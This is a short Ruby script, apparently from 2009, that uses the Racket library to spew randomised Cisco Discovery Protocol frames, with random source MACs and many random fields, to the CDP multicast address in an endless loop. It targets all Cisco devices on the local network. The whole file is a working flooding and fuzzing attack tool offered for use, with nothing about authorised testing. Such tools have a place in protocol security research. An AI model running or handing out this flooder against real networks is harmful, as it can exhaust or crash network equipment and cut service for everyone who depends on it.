#!/usr/bin/env ruby
#
# $Id: cdp-spew 156 2009-12-14 02:27:22Z jhart $
#
# Spew CDP packets to all Cisco devices on the network
#
# Jon Hart <jhart@spoofed.org>
require 'rubygems'
require 'racket'
include Racket
unless (ARGV.size >= 1)
  puts "Usage: #{$0} <iface> [num fields per CDP packet]"
  exit 
end
def tick 
  @it += 1
  @it = 0 if @it >= @ticks.size
  print "\r#{@ticks[@it]}"
  STDOUT.flush
end
def randcdp
  @n.layers[2] = L2::EightOTwoDotThree.new(Misc.randstring(14))
  @n.layers[2].dst_mac = "01:00:0c:cc:cc:cc"
  @n.layers[2].length = 0
  @n.layers[3] = L2::LLC.new()
  @n.layers[4] = L2::SNAP.new()
  @n.layers[4].pid = 0x2000
  @n.layers[5] = L3::CDP.new()
  @n.layers[5].version = 1
  limit = ARGV[1].to_i || 100
  1.upto(limit) do |f|
    @n.layers[5].add_field(f, Misc.randstring(5))
  end
  @n.sendpacket
  tick
end
@it = 0
@ticks = %w( / - \\ | )
@n = Racket::Racket.new
@n.iface = ARGV[0]
puts "Spewing..."
while (true)
  randcdp
end